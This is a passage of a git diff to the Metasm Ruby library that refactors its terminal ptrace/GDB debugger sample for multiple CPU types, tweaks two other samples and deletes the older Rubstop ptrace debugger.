super(lex) - end -end - class LinDebug - attr_accessor :win_data_height, :win_code_height, :win_prpt_height + attr_accessor :win_reg_height, :win_data_height, :win_code_height, :win_prpt_height def init_screen Ansi.set_term_canon(true) + @win_reg_height = 2 @win_data_height = 20 @win_code_height = 20 resize @@ -139,7 +102,7 @@ class LinDebug $stdout.flush end - def win_data_start; 2 end + def win_data_start; @win_reg_height end def win_code_start; win_data_start+win_data_height end def win_prpt_start; win_code_start+win_code_height end @@ -164,9 +127,8 @@ class LinDebug attr_accessor :dataptr, :codeptr, :rs, :promptlog, :command def initialize(rs) @rs = rs - @rs.logger = self + @rs.set_log_proc { |l| add_log l } @datafmt = 'db' - @watch = nil @prompthistlen = 20 @prompthistory = [] @@ -176,6 +138,7 @@ class LinDebug @promptpos = 0 @log_off = 0 @console_width = 80 + @oldregs = {} @running = false @focus = :prompt @@ -185,7 +148,7 @@ class LinDebug end def init_rs - @codeptr = @dataptr = @rs.regs_cache['eip'] # avoid initial faults + @codeptr = @dataptr = @rs.pc # avoid initial faults end def main_loop @@ -201,9 +164,9 @@ class LinDebug $stdout.print Ansi.set_cursor_pos(@console_height, 1) end rescue - $stdout.puts $!, $!.backtrace + puts $!, $!.backtrace end - $stdout.puts @promptlog.last + puts @promptlog.last end # optimize string to display to stdout @@ -218,7 +181,7 @@ class LinDebug def display_screen(screenlines, cursx, cursy) @oldscreenbuf ||= [] - lines = screenlines.to_a + lines = screenlines.lines oldlines = @oldscreenbuf @oldscreenbuf = lines screenlines = lines.zip(oldlines).map { |l, ol| l == ol ? "\n" : l }.join @@ -247,41 +210,40 @@ class LinDebug end def _updateregs - text = '' - text << ' ' - x = 1 - %w[eax ebx ecx edx eip].each { |r| - text << Color[:changed] if @rs.regs_cache[r] != @rs.oldregs[r] - text << r << ?= - text << ('%08X' % @rs.regs_cache[r]) - text << Color[:normal] if @rs.regs_cache[r] != @rs.oldregs[r] - text << ' ' - x += r.length + 11 + pvrsz = 0 + words = @rs.register_list.map { |r| + rs = r.to_s.rjust(pvrsz) + pvrsz = rs.length + rv = @rs[r] + ["#{rs}=%0#{@rs.register_size[r]/4}X " % rv, + (@oldregs[r] != rv)] + } + @rs.flag_list.map { |fl| + fv = @rs.get_flag(fl) + [fv ? fl.to_s.upcase : fl.to_s.downcase, + (@oldregs[fl] != fv)] } - text << (' '*([@console_width-x, 0].max)) << "\n" << ' ' - x = 1 - %w[esi edi ebp esp].each { |r| - text << Color[:changed] if @rs.regs_cache[r] != @rs.oldregs[r] - text << r << ?= - text << ('%08X' % @rs.regs_cache[r]) - text << Color[:normal] if @rs.regs_cache[r] != @rs.oldregs[r] - text << ' ' - x += r.length + 11 - } - Rubstop::EFLAGS.sort.each { |off, flag| - val = @rs.regs_cache['eflags'] & (1<= @console_width - 1 + text << (' '*([@console_width-linelen, 0].max)) << "\n " + linelen = 1 + @win_reg_height += 1 end + + text << Color[:changed] if changed + text << w + text << Color[:normal] if changed text << ' ' - x += 2 + + linelen += w.length+1 } - text << (' '*([@console_width-x, 0].max)) << "\n" + resize if owr != @win_reg_height + text << (' '*([@console_width-linelen, 0].max)) << "\n" end def updatecode @@ -291,21 +253,23 @@ class LinDebug def _updatecode if @codeptr addr = @codeptr - elsif @rs.oldregs['eip'] and @rs.oldregs['eip'] < @rs.regs_cache['eip'] and @rs.oldregs['eip'] + 8 >= @rs.regs_cache['eip'] - addr = @rs.oldregs['eip'] + elsif @oldregs[@rs.register_pc] and @oldregs[@rs.register_pc] < @rs.pc and @oldregs[@rs.register_pc] + 8 >= @rs.pc + addr = @oldregs[@rs.register_pc] else - addr = @rs.regs_cache['eip'] + addr = @rs.pc end @codeptr = addr - if @rs.findfilemap(addr) == '???' - base = addr & 0xffff_f000 + addrsz = @rs.register_size[@rs.register_pc] + addrfmt = "%0#{addrsz/4}X" + if not @rs.addr2module(addr) and @rs.shortname !~ /remote/ + base = addr & ((1 << addrsz) - 0x1000) @noelfsig ||= {} # cache elfmagic notfound - if not @noelfsig[base] and base < 0xc000_0000 - self.statusline = " scanning for elf header at #{'%08X' % base}" + if not @noelfsig[base] and base < ((1 << addrsz) - 0x1_0000) + self.statusline = " scanning for elf header at #{addrfmt % base}" 128.times { - @statusline = " scanning for elf header at #{'%08X' % base}" - if not @noelfsig[base] and @rs[base, 4] == Metasm::ELF::MAGIC + @statusline = " scanning for elf header at #{addrfmt % base}" + if not @noelfsig[base] and @rs[base, Metasm::ELF::MAGIC.length] == Metasm::ELF::MAGIC @rs.loadsyms(base, base.to_s(16)) break else @@ -320,36 +284,43 @@ class LinDebug text = '' text << Color[:border] - title = @rs.findsymbol(addr) + title = @rs.addrname(addr) pre = [@console_width-100, 6].max post = @console_width - (pre + title.length + 2) text << Ansi.hline(pre) << ' ' << title << ' ' << Ansi.hline(post) << Color[:normal] << "\n" + seg = '' + seg = ('%04X' % @rs['cs']) << ':' if @rs.cpu.shortname =~ /ia32|x64/ + cnt = @win_code_height while (cnt -= 1) > 0 if @rs.symbols[addr] text << (' ' << @rs.symbols[addr] << ?:) << Ansi::ClearLineAfter << "\n" break if (cnt -= 1) <= 0 end - text << Color[:hilight] if addr == @rs.regs_cache['eip'] - text << ('%04X' % @rs.regs_cache['cs']) << ':' - text << ('%08X' % addr) - di = @rs.mnemonic_di(addr) - di = nil if di and addr < @rs.regs_cache['eip'] and addr+di.bin_length > @rs.regs_cache['eip'] + text << Color[:hilight] if addr == @rs.pc + text << seg + if @rs.shortname =~ /remote/ and @rs.realmode + text << (addrfmt % (addr - 16*@rs['cs'])) + else + text << (addrfmt % addr) + end + di = @rs.di_at(addr) + di = nil if di and addr < @rs.pc and addr+di.bin_length > @rs.pc len = (di ? di.bin_length : 1) text << ' ' - text << @rs[addr, [len, 10].min].unpack('C*').map { |c| '%02X' % c }.join.ljust(22) + text << @rs.memory[addr, [len, 10].min].to_s.unpack('C*').map { |c| '%02X' % c }.join.ljust(22) if di text << - if addr == @rs.regs_cache['eip'] - "*#{di.instruction}".ljust([@console_width-37, 0].max) + if addr == @rs.pc + "*#{di.instruction}".ljust([@console_width-(addrsz/4+seg.length+24), 0].max) else " #{di.instruction}" << Ansi::ClearLineAfter end else text << ' ' << Ansi::ClearLineAfter end - text << Color[:normal] if addr == @rs.regs_cache['eip'] + text << Color[:normal] if addr == @rs.pc addr += len text << "\n" end @@ -361,27 +332,33 @@ class LinDebug end def _updatedata - @dataptr &= 0xffff_ffff + addrsz = @rs.register_size[@rs.register_pc] + addrfmt = "%0#{addrsz/4}X" + + @dataptr &= ((1 << addrsz) - 1) addr = @dataptr text = '' text << Color[:border] - title = @rs.findsymbol(addr) + title = @rs.addrname(addr) pre = [@console_width-100, 6].max post = [@console_width - (pre + title.length + 2), 0].max text << Ansi.hline(pre) << ' ' << title << ' ' << Ansi.hline(post) << Color[:normal] << "\n" + seg = '' + seg = ('%04X' % @rs['ds']) << ':' if @rs.cpu.shortname =~ /^ia32/ + cnt = @win_data_height while (cnt -= 1) > 0 - raw = @rs[addr, 16].to_s - text << ('%04X' % @rs.regs_cache['ds']) << ':' << ('%08X' % addr) << ' ' + raw = @rs.memory[addr, 16].to_s + text << seg << (addrfmt % addr) << ' ' case @datafmt when 'db'; text << raw[0,8].unpack('C*').map { |c| '%02x ' % c }.join << ' ' << raw[8,8].to_s.unpack('C*').map { |c| '%02x ' % c }.join when 'dw'; text << raw.unpack('S*').map { |c| '%04x ' % c }.join when 'dd'; text << raw.unpack('L*').map { |c| '%08x ' % c }.join end - text << ' ' << raw.unpack('C*').map { |c| (0x20..0x7e).include?(c) ? c : ?. }.pack('C*') + text << ' ' << raw.unpack('C*').map { |c| (0x20..0x7e).include?(c) ? c : 0x2e }.pack('C*') text << Ansi::ClearLineAfter << "\n" addr += 16 end @@ -420,17 +397,17 @@ class LinDebug @console_height, @console_width = Ansi.get_terminal_size @win_data_height = 1 if @win_data_height < 1 @win_code_height = 1 if @win_code_height < 1 - if @win_data_height + @win_code_height + 5 > @console_height + if @win_data_height + @win_code_height + @win_reg_height + 3 > @console_height @win_data_height = @console_height/2 - 4 @win_code_height = @console_height/2 - 4 end - @win_prpt_height = @console_height-(@win_data_height+@win_code_height+2) - 1 + @win_prpt_height = @console_height-(@win_data_height+@win_code_height+@win_reg_height) - 1 @oldscreenbuf = [] update end def log(*strs) - strs.each { |str| + strs.each { |str| raise str.inspect if not str.kind_of? ::String str = str.chomp if str.length > @console_width @@ -440,85 +417,52 @@ class LinDebug end @promptlog << str @promptlog.shift if @promptlog.length > @promptloglen - } + } end - def puts(*s) - s.each { |s_| log s_.to_s } - super(*s) if not @running - update rescue super(*s) - end - - def mem_binding(expr) - b = @rs.regs_cache.dup - ext = expr.externals - (ext - @rs.regs_cache.keys).each { |ex| - if not s = @rs.symbols.index(ex) - near = @rs.symbols.values.grep(/#{ex}/i) - if near.length > 1 - log "#{ex.inspect} is ambiguous: #{near.inspect}" - return {} - elsif near.empty? - log "unknown value #{ex.inspect}" - return {} - else - log "using #{near.first.inspect} for #{ex.inspect}" - s = @rs.symbols.index(near.first) - end - end - b[ex] = s - } - b['tracer_memory'] = @rs - b + def add_log(l) + log l + puts l if not @running + update rescue puts l end def exec_prompt @log_off = 0 log ':'+@promptbuf return if @promptbuf == '' - lex = Metasm::Preprocessor.new.feed @promptbuf + str = @promptbuf @prompthistory << @promptbuf @prompthistory.shift if @prompthistory.length > @prompthistlen @promptbuf = '' @promptpos = @promptbuf.length - argint = lambda { - begin - raise if not e = ExprParser.parse(lex) - rescue - log 'syntax error' - return - end - e = e.bind(mem_binding(e)).reduce - if e.kind_of? Integer; e - else log "could not resolve #{e.inspect}" ; nil - end - } - cmd = lex.readtok - cmd = cmd.raw if cmd - nil while ntok = lex.readtok and ntok.type == :space - lex.unreadtok ntok + cmd, str = str.split(/\s+/, 2) if @command.has_key? cmd - @command[cmd].call(lex, argint) + @command[cmd].call(str.to_s) else if cmd and (poss = @command.keys.find_all { |c| c[0, cmd.length] == cmd }).length == 1 - @command[poss.first].call(lex, argint) + @command[poss.first].call(str.to_s) else log 'unknown command' end end end + def preupdate + @rs.register_list.each { |r| @oldregs[r] = @rs[r] } + @rs.flag_list.each { |fl| @oldregs[fl] = @rs.get_flag(fl) } + end + def updatecodeptr - @codeptr ||= @rs.regs_cache['eip'] - if @codeptr > @rs.regs_cache['eip'] or @codeptr < @rs.regs_cache['eip'] - 6*@win_code_height - @codeptr = @rs.regs_cache['eip'] - elsif @codeptr != @rs.regs_cache['eip'] + @codeptr ||= @rs.pc + if @codeptr > @rs.pc or @codeptr < @rs.pc - 6*@win_code_height + @codeptr = @rs.pc + elsif @codeptr != @rs.pc addr = @codeptr addrs = [] - while addr < @rs.regs_cache['eip'] + while addr < @rs.pc addrs << addr - o = ((di = @rs.mnemonic_di(addr)) ? di.bin_length : 0) + o = ((di = @rs.di_at(addr)) ? di.bin_length : 0) addr += ((o == 0) ? 1 : o) end if addrs.length > @win_code_height-4 @@ -529,36 +473,40 @@ class LinDebug end def updatedataptr - @dataptr = @watch.bind(mem_binding(@watch)).reduce if @watch end def singlestep self.statusline = ' target singlestepping...' - @rs.singlestep + preupdate + @rs.singlestep_wait updatecodeptr @statusline = nil end def stepover self.statusline = ' target running...' - @rs.stepover + preupdate + @rs.stepover_wait updatecodeptr @statusline = nil end def cont(*a) self.statusline = ' target running...' - @rs.cont(*a) + preupdate + @rs.continue_wait(*a) updatecodeptr @statusline = nil end def stepout self.statusline = ' target running...' - @rs.stepout + preupdate + @rs.stepout_wait updatecodeptr @statusline = nil end def syscall self.statusline = ' target running to next syscall...' - @rs.syscall + preupdate + @rs.syscall_wait updatecodeptr @statusline = nil end @@ -578,17 +526,14 @@ class LinDebug end break if handle_keypress(Ansi.getkey) end - @rs.checkbp end def handle_keypress(k) case k - when 4; log 'exiting'; return true # eof - when ?\e; focus = :prompt + when ?\4; log 'exiting'; return true # eof + when ?\e; @focus = :prompt when :f5; cont - when :f6 - syscall - log @rs.syscallnr.index(@rs.regs_cache['orig_eax']) || @rs.regs_cache['orig_eax'].to_s + when :f6; syscall when :f10; stepover when :f11; singlestep when :f12; stepout @@ -607,9 +552,9 @@ class LinDebug when :data @dataptr -= 16 when :code - @codeptr ||= @rs.regs_cache['eip'] + @codeptr ||= @rs.pc @codeptr -= (1..10).find { |off| - di = @rs.mnemonic_di(@codeptr-off) + di = @rs.di_at(@codeptr-off) di.bin_length == off if di } || 10 end @@ -628,25 +573,25 @@ class LinDebug when :data @dataptr += 16 when :code - @codeptr ||= @rs.regs_cache['eip'] - di = @rs.mnemonic_di(@codeptr) + @codeptr ||= @rs.pc + di = @rs.di_at(@codeptr) @codeptr += (di ? (di.bin_length || 1) : 1) end when :left; @promptpos -= 1 if @promptpos > 0 when :right; @promptpos += 1 if @promptpos < @promptbuf.length when :home; @promptpos = 0 when :end; @promptpos = @promptbuf.length - when :backspace, 0x7f; @promptbuf[@promptpos-=1, 1] = '' if @promptpos > 0 + when :backspace, ?\x7f; @promptbuf[@promptpos-=1, 1] = '' if @promptpos > 0 when :suppr; @promptbuf[@promptpos, 1] = '' if @promptpos < @promptbuf.length when :pgup case @focus when :prompt; @log_off += @win_prpt_height-3 when :data; @dataptr -= 16*(@win_data_height-1) when :code - @codeptr ||= @rs.regs_cache['eip'] + @codeptr ||= @rs.pc (@win_code_height-1).times { @codeptr -= (1..10).find { |off| - di = @rs.mnemonic_di(@codeptr-off) + di = @rs.di_at(@codeptr-off) di.bin_length == off if di } || 10 } @@ -656,8 +601,8 @@ class LinDebug when :prompt; @log_off -= @win_prpt_height-3 when :data; @dataptr += 16*(@win_data_height-1) when :code - @codeptr ||= @rs.regs_cache['eip'] - (@win_code_height-1).times { @codeptr += ((o = @rs.mnemonic_di(@codeptr)) ? [o.bin_length, 1].max : 1) } + @codeptr ||= @rs.pc + (@win_code_height-1).times { @codeptr += ((o = @rs.di_at(@codeptr)) ? [o.bin_length, 1].max : 1) } end when ?\t if not @promptbuf[0, @promptpos].include? ' ' @@ -676,7 +621,7 @@ class LinDebug rescue Exception log "error: #$!", *$!.backtrace end - when 0x20..0x7e + when ?\ ..?~ @promptbuf[@promptpos, 0] = k.chr @promptpos += 1 else log "unknown key pressed #{k.inspect}" @@ -685,240 +630,89 @@ class LinDebug end def load_commands - ntok = nil - @command['kill'] = lambda { |lex, int| + @command['kill'] = lambda { |str| @rs.kill @running = false log 'killed' } - @command['quit'] = @command['detach'] = @command['exit'] = lambda { |lex, int| + @command['quit'] = @command['detach'] = @command['exit'] = lambda { |str| @rs.detach @running = false } - @command['closeui'] = lambda { |lex, int| - @rs.logger = nil + @command['closeui'] = lambda { |str| @running = false } - @command['bpx'] = lambda { |lex, int| - addr = int[] - @rs.bpx addr + @command['bpx'] = lambda { |str| + @rs.bpx @rs.resolve(str) } - @command['bphw'] = lambda { |lex, int| - type = lex.readtok.raw - addr = int[] - @rs.set_hwbp type, addr + @command['bphw'] = @command['hwbp'] = lambda { |str| + type, str = str.split(/\s+/, 2) + @rs.hwbp @rs.resolve(str.to_s), type } - @command['bl'] = lambda { |lex, int| - log "bpx at #{@rs.findsymbol(@rs.wantbp)}" if @rs.wantbp.kind_of? ::Integer - @rs.breakpoints.sort.each { |addr, oct| - log "bpx at #{@rs.findsymbol(addr)}" - } - (0..3).each { |dr| - if @rs.regs_cache['dr7'] & (1 << (2*dr)) != 0 - log "bphw #{{0=>'x', 1=>'w', 2=>'?', 3=>'r'}[(@rs.regs_cache['dr7'] >> (16+4*dr)) & 3]} at #{@rs.findsymbol(@rs.regs_cache["dr#{dr}"])}" - end - } - } - @command['bc'] = lambda { |lex, int| - @rs.clearbreaks - } - @command['bt'] = lambda { |lex, int| @rs.backtrace { |t| puts t } } - @command['d'] = lambda { |lex, int| @dataptr = int[] || return } - @command['db'] = lambda { |lex, int| @datafmt = 'db' ; @dataptr = int[] || return } - @command['dw'] = lambda { |lex, int| @datafmt = 'dw' ; @dataptr = int[] || return } - @command['dd'] = lambda { |lex, int| @datafmt = 'dd' ; @dataptr = int[] || return } - @command['r'] = lambda { |lex, int| - r = lex.readtok.raw - nil while ntok = lex.readtok and ntok.type == :space + @command['bt'] = lambda { |str| @rs.stacktrace { |a,t| add_log "#{'%x' % a} #{t}" } } + @command['d'] = lambda { |str| @dataptr = @rs.resolve(str) if str.length > 0 } + @command['db'] = lambda { |str| @datafmt = 'db' ; @dataptr = @rs.resolve(str) if str.length > 0 } + @command['dw'] = lambda { |str| @datafmt = 'dw' ; @dataptr = @rs.resolve(str) if str.length > 0 } + @command['dd'] = lambda { |str| @datafmt = 'dd' ; @dataptr = @rs.resolve(str) if str.length > 0 } + @command['r'] = lambda { |str| + r, str = str.split(/\s+/, 2) if r == 'fl' - flag = ntok.raw - if i = Rubstop::EFLAGS.index(flag) - @rs.eflags ^= 1 << i - @rs.readregs - else - log "bad flag #{flag}" - end - elsif not @rs.regs_cache[r] + @rs.toggle_flag(str.to_sym) + elsif not @rs[r] log "bad reg #{r}" - elsif ntok - lex.unreadtok ntok - newval = int[] - if newval and newval.kind_of? ::Integer - @rs.send r+'=', newval - @rs.readregs - end + elsif str and str.length > 0 + @rs[r] = @rs.resolve(str) else - log "#{r} = #{@rs.regs_cache[r]}" + log "#{r} = #{@rs[r]}" end } - @command['run'] = @command['cont'] = lambda { |lex, int| - if tok = lex.readtok - lex.unreadtok tok - cont int[] - else cont - end + @command['g'] = lambda { |str| + @rs.go @rs.resolve(str) } - @command['syscall'] = lambda { |lex, int| syscall } - @command['singlestep'] = lambda { |lex, int| singlestep } - @command['stepover'] = lambda { |lex, int| stepover } - @command['stepout'] = lambda { |lex, int| stepout } - @command['g'] = lambda { |lex, int| - target = int[] - @rs.singlestep if @rs.regs_cache['eip'] == target - @rs.bpx target, true - cont - } - @command['u'] = lambda { |lex, int| @codeptr = int[] || break } - @command['has_pax'] = lambda { |lex, int| - if tok = lex.readtok - lex.unreadtok tok - if (int[] == 0) - @rs.set_pax false - else - @rs.set_pax true - end - else @rs.set_pax !@rs.has_pax - end - log "has_pax now #{@rs.has_pax}" - } - @command['loadsyms'] = lambda { |lex, int| - mapfile = '' - mapfile << ntok.raw while ntok = lex.readtok - if mapfile != '' - @rs.loadmap mapfile - else - @rs.loadallsyms - end - } - @command['scansyms'] = lambda { |lex, int| @rs.scansyms } - @command['sym'] = lambda { |lex, int| - sym = '' - sym << ntok.raw while ntok = lex.readtok - s = [] - @rs.symbols.each { |k, v| - s << k if v =~ /#{sym}/ - } - if s.empty? - log "unknown symbol #{sym}" - else - s.sort.each { |s_| log "#{'%08x' % s_} #{@rs.symbols_len[s_].to_s.ljust 6} #{@rs.findsymbol(s_)}" } - end - } - @command['delsym'] = lambda { |lex, int| - addr = int[] - log "deleted #{@rs.symbols.delete addr}" - @rs.symbols_len.delete addr - } - @command['addsym'] = lambda { |lex, int| - name = lex.readtok.raw - addr = int[] - if t = lex.readtok - lex.unreadtok t - @rs.symbols_len[addr] = int[] - else - @rs.symbols_len[addr] = 1 - end - @rs.symbols[addr] = name - } - @command['help'] = lambda { |lex, int| - log 'commands: (addr/values are things like dword ptr [ebp+(4*byte [eax])] ), type to see all commands' - log ' bpx ' - log ' bphw [r|w|x] : debug register breakpoint' - log ' bl: list breakpoints' - log ' bc: clear breakpoints' - log ' cont []: continue the target sending a signal' - log ' d/db/dw/dd []: change data type/address' - log ' g : set a bp at and run' - log ' has_pax [0|1]: set has_pax flag' - log ' loadsyms: load symbol information from mapped files (from /proc and disk)' - log ' ma : write memory' - log ' mx : write memory' - log ' maps: list maps' - log ' r []: show/change register' - log ' r fl : toggle eflags bit' - log ' scansyms: scan memory for ELF headers' - log ' sym : show symbol information' - log ' addsym []' - log ' delsym ' - log ' u : disassemble addr' - log ' reload: reload lindebug source' - log ' ruby : instance_evals ruby code in current instance' - log ' closeui: detach from the underlying RubStop' - log 'keys:' - log ' F5: continue' - log ' F6: syscall' - log ' F10: step over' - log ' F11: single step' - log ' F12: step out (til next ret)' - log ' pgup/pgdown: move command history' - } - @command['reload'] = lambda { |lex, int| load $0 ; load_commands } - @command['ruby'] = lambda { |lex, int| - str = '' - str << ntok.raw while ntok = lex.readtok - instance_eval str - } - @command['maps'] = lambda { |lex, int| - @rs.filemap.sort_by { |f, (b, e)| b }.each { |f, (b, e)| - log "#{f.ljust 20} #{'%08x' % b} - #{'%08x' % e}" - } - } - @command['ma'] = lambda { |lex, int| - addr = int[] - str = '' - str << ntok.raw while ntok = lex.readtok - @rs[addr, str.length] = str - } - @command['mx'] = lambda { |lex, int| - addr = int[] - data = [lex.readtok.raw].pack('H*') - @rs[addr, data.length] = data - } - @command['resize'] = lambda { |lex, int| resize } - @command['watch'] = lambda { |lex, int| @watch = ExprParser.parse(lex) ; updatedataptr } - @command['wd'] = lambda { |lex, int| + @command['u'] = lambda { |str| @codeptr = @rs.resolve(str) } + @command['ruby'] = lambda { |str| instance_eval str } + @command['wd'] = lambda { |str| @focus = :data - if tok = lex.readtok - lex.unreadtok tok - @win_data_height = int[] || return + if str.length > 0 + @win_data_height = @rs.resolve(str) resize end } - @command['wc'] = lambda { |lex, int| + @command['wc'] = lambda { |str| @focus = :code - if tok = lex.readtok - lex.unreadtok tok - @win_code_height = int[] || return + if str.length > 0 + @win_code_height = @rs.resolve(str) resize end } - @command['wp'] = lambda { |lex, int| @focus = :prompt } - @command['?'] = lambda { |lex, int| - val = int[] + @command['wp'] = lambda { |str| @focus = :prompt } + @command['?'] = lambda { |str| + val = @rs.resolve(str) log "#{val} 0x#{val.to_s(16)} #{[val].pack('L').inspect}" } - @command['.'] = lambda { |lex, int| @codeptr = nil } + @command['syscall'] = lambda { |str| + @rs.syscall_wait(str) + } end end if $0 == __FILE__ require 'optparse' - filemap = nil + opts = { :sc_cpu => 'Ia32' } OptionParser.new { |opt| - opt.on('-m map', '--map filemap') { |f| filemap = f } + opt.on('-m map', '--map filemap') { |f| opts[:filemap] = f } + opt.on('--cpu cpu') { |c| opts[:sc_cpu] = c } }.parse!(ARGV) - if not defined? Rubstop - if ARGV.first =~ /:/ - stub = 'gdbclient' - else - stub = 'rubstop' - end - require File.join(File.dirname(__FILE__), stub) + case ARGV.first + when /^(tcp:|udp:)?..+:/, /^ser:/ + opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/ + opts[:sc_cpu] = opts[:sc_cpu].new if opts[:sc_cpu].kind_of?(::Class) + rs = Metasm::GdbRemoteDebugger.new(ARGV.first, opts[:sc_cpu]) + else + rs = Metasm::LinDebugger.new(ARGV.join(' ')) end - - rs = Rubstop.new(ARGV.join(' ')) - rs.loadmap(filemap) if filemap + rs.load_map(opts[:filemap]) if opts[:filemap] LinDebug.new(rs).main_loop end diff --git a/lib/metasm/samples/metasm-shell.rb b/lib/metasm/samples/metasm-shell.rb index 698b7a3916..76a365f5e2 100644 --- a/lib/metasm/samples/metasm-shell.rb +++ b/lib/metasm/samples/metasm-shell.rb @@ -31,8 +31,7 @@ class String # encodes the current string as a Shellcode, returns the resulting EncodedData def encode_edata - s = Metasm::Shellcode.assemble @@cpu, self - s.encoded + Metasm::Shellcode.assemble(@@cpu, self).encode.encoded end # encodes the current string as a Shellcode, returns the resulting binary String diff --git a/lib/metasm/samples/peldr.rb b/lib/metasm/samples/peldr.rb index 1461b8d02b..e98220ffb1 100644 --- a/lib/metasm/samples/peldr.rb +++ b/lib/metasm/samples/peldr.rb @@ -148,7 +148,7 @@ class PeLdr end } - cp.numeric_constants.each { |k, v| + cp.numeric_constants.each { |k, v, f| n = k.upcase n = "C#{n}" if n !~ /^[A-Z]/ DL.const_set(n, v) if not DL.const_defined?(n) and v.kind_of? Integer @@ -178,7 +178,7 @@ class PeLdr def self.populate_peb DL.memory_write(@@peb, 0.chr*4096) - set = lambda { |off, val| DL.memory_write_int(@@peb+off, val) } + #set = lambda { |off, val| DL.memory_write_int(@@peb+off, val) } end def self.teb ; @@teb ; end diff --git a/lib/metasm/samples/rubstop.rb b/lib/metasm/samples/rubstop.rb deleted file mode 100644 index 751f758fa8..0000000000 --- a/lib/metasm/samples/rubstop.rb +++ /dev/null @@ -1,399 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this exemple illustrates the use of the PTrace class to implement a pytstop-like functionnality -# Works on linux/x86 -# - -require 'metasm' - -class Rubstop < Metasm::PTrace - EFLAGS = {0 => 'c', 2 => 'p', 4 => 'a', 6 => 'z', 7 => 's', 9 => 'i', 10 => 'd', 11 => 'o'} - # define accessors for registers - %w[eax ebx ecx edx ebp esp edi esi eip orig_eax eflags dr0 dr1 dr2 dr3 dr6 dr7 cs ds es fs gs].each { |reg| - define_method(reg) { peekusr(REGS_I386[reg.upcase]) & 0xffffffff } - define_method(reg+'=') { |v| - @regs_cache[reg] = v - v = [v & 0xffffffff].pack('L').unpack('l').first if v >= 0x8000_0000 - pokeusr(REGS_I386[reg.upcase], v) - } - } - - def cont(signal=0) - @ssdontstopbp = nil - singlestep(true) if @wantbp - super(signal) - ::Process.waitpid(@pid) - return if child.exited? - @oldregs.update @regs_cache - readregs - checkbp - end - - def singlestep(justcheck=false) - super() - ::Process.waitpid(@pid) - return if child.exited? - case @wantbp - when ::Integer; bpx @wantbp ; @wantbp = nil - when ::String; self.dr7 |= 1 << (2*@wantbp[2, 1].to_i) ; @wantbp = nil - end - return if justcheck - @oldregs.update @regs_cache - readregs - checkbp - end - - def stepover - i = curinstr.instruction if curinstr - if i and (i.opname == 'call' or (i.prefix and i.prefix[:rep])) - eaddr = @regs_cache['eip'] + curinstr.bin_length - bpx eaddr, true - cont - else - singlestep - end - end - - def stepout - # XXX @regs_cache.. - stepover until curinstr.opcode.name == 'ret' - singlestep - end - - def syscall - @ssdontstopbp = nil - singlestep(true) if @wantbp - super() - ::Process.waitpid(@pid) - return if child.exited? - @oldregs.update @regs_cache - readregs - checkbp - end - - def state; :stopped end - def ptrace; self end - - attr_accessor :pgm, :regs_cache, :breakpoints, :singleshot, :wantbp, - :symbols, :symbols_len, :filemap, :has_pax, :oldregs - def initialize(*a) - super(*a) - @pgm = Metasm::ExeFormat.new Metasm::Ia32.new - @pgm.encoded = Metasm::EncodedData.new Metasm::LinuxRemoteString.new(@pid) - @pgm.encoded.data.dbg = self - @regs_cache = {} - @oldregs = {} - readregs - @oldregs.update @regs_cache - @breakpoints = {} - @singleshot = {} - @wantbp = nil - @symbols = {} - @symbols_len = {} - @filemap = {} - @has_pax = false - - stack = self[regs_cache['esp'], 0x1000].to_str.unpack('L*') - stack.shift # argc - stack.shift until stack.empty? or stack.first == 0 # argv - stack.shift - stack.shift until stack.empty? or stack.first == 0 # envp - stack.shift - stack.shift until stack.empty? or stack.shift == 3 # find PHDR ptr in auxv - if phdr = stack.shift - phdr &= 0xffff_f000 - loadsyms phdr, phdr.to_s(16) - end - end - - def set_pax(bool) - if bool - @pgm.encoded.data.invalidate - code = @pgm.encoded.data[eip, 4] - if code != "\0\0\0\0" and @pgm.encoded.data[eip+0x6000_0000, 4] == code - @has_pax = 'segmexec' - else - @has_pax = 'pax' - end - else - @has_pax = false - end - end - - def readregs - %w[eax ebx ecx edx esi edi esp ebp eip orig_eax eflags dr0 dr1 dr2 dr3 dr6 dr7 cs ds].each { |r| @regs_cache[r] = send(r) } - @curinstr = nil if @regs_cache['eip'] != @oldregs['eip'] - @pgm.encoded.data.invalidate - end - - def curinstr - @curinstr ||= mnemonic_di - end - - def child - $? - end - - def checkbp - ::Process::waitpid(@pid, ::Process::WNOHANG) if not child - return if not child - if not child.stopped? - if child.exited?; log "process exited with status #{child.exitstatus}" - elsif child.signaled?; log "process exited due to signal #{child.termsig} (#{Signal.list.index child.termsig})" - else log "process in unknown status #{child.inspect}" - end - return - elsif child.stopsig != ::Signal.list['TRAP'] - log "process stopped due to signal #{child.stopsig} (#{Signal.list.index child.stopsig})" - return # do not check 0xcc at eip-1 ! ( if curinstr.bin_length == 1 ) - end - ccaddr = @regs_cache['eip']-1 - if @breakpoints[ccaddr] and self[ccaddr] == 0xcc - if @ssdontstopbp != ccaddr - self[ccaddr] = @breakpoints.delete ccaddr - self.eip = ccaddr - @wantbp = ccaddr if not @singleshot.delete ccaddr - @ssdontstopbp = ccaddr - else - @ssdontstopbp = nil - end - elsif @regs_cache['dr6'] & 15 != 0 - dr = (0..3).find { |dr_| @regs_cache['dr6'] & (1 << dr_) != 0 } - @wantbp = "dr#{dr}" if not @singleshot.delete @regs_cache['eip'] - self.dr6 = 0 - self.dr7 = @regs_cache['dr7'] & (0xffff_ffff ^ (3 << (2*dr))) - readregs - end - end - - def bpx(addr, singleshot=false) - @singleshot[addr] = singleshot - return if @breakpoints[addr] - if @has_pax - set_hwbp 'x', addr - else - begin - @breakpoints[addr] = self[addr] - self[addr] = 0xcc - rescue Errno::EIO - log 'i/o error when setting breakpoint, switching to PaX mode' - set_pax true - @breakpoints.delete addr - bpx(addr, singleshot) - end - end - end - - def mnemonic_di(addr = eip) - @pgm.encoded.ptr = addr - di = @pgm.cpu.decode_instruction(@pgm.encoded, addr) - @curinstr = di if addr == @regs_cache['eip'] - di - end - - def mnemonic(addr=eip) - mnemonic_di(addr).instruction - end - - def regs_dump - [%w[eax ebx ecx edx orig_eax], %w[ebp esp edi esi eip]].map { |l| - l.map { |reg| "#{reg}=#{'%08x' % @regs_cache[reg]}" }.join(' ') - }.join("\n") - end - - def findfilemap(s) - @filemap.keys.find { |k| @filemap[k][0] <= s and @filemap[k][1] > s } || '???' - end - - def findsymbol(k) - file = findfilemap(k) + '!' - if s = @symbols[k] ? k : @symbols.keys.find { |s_| s_ < k and s_ + 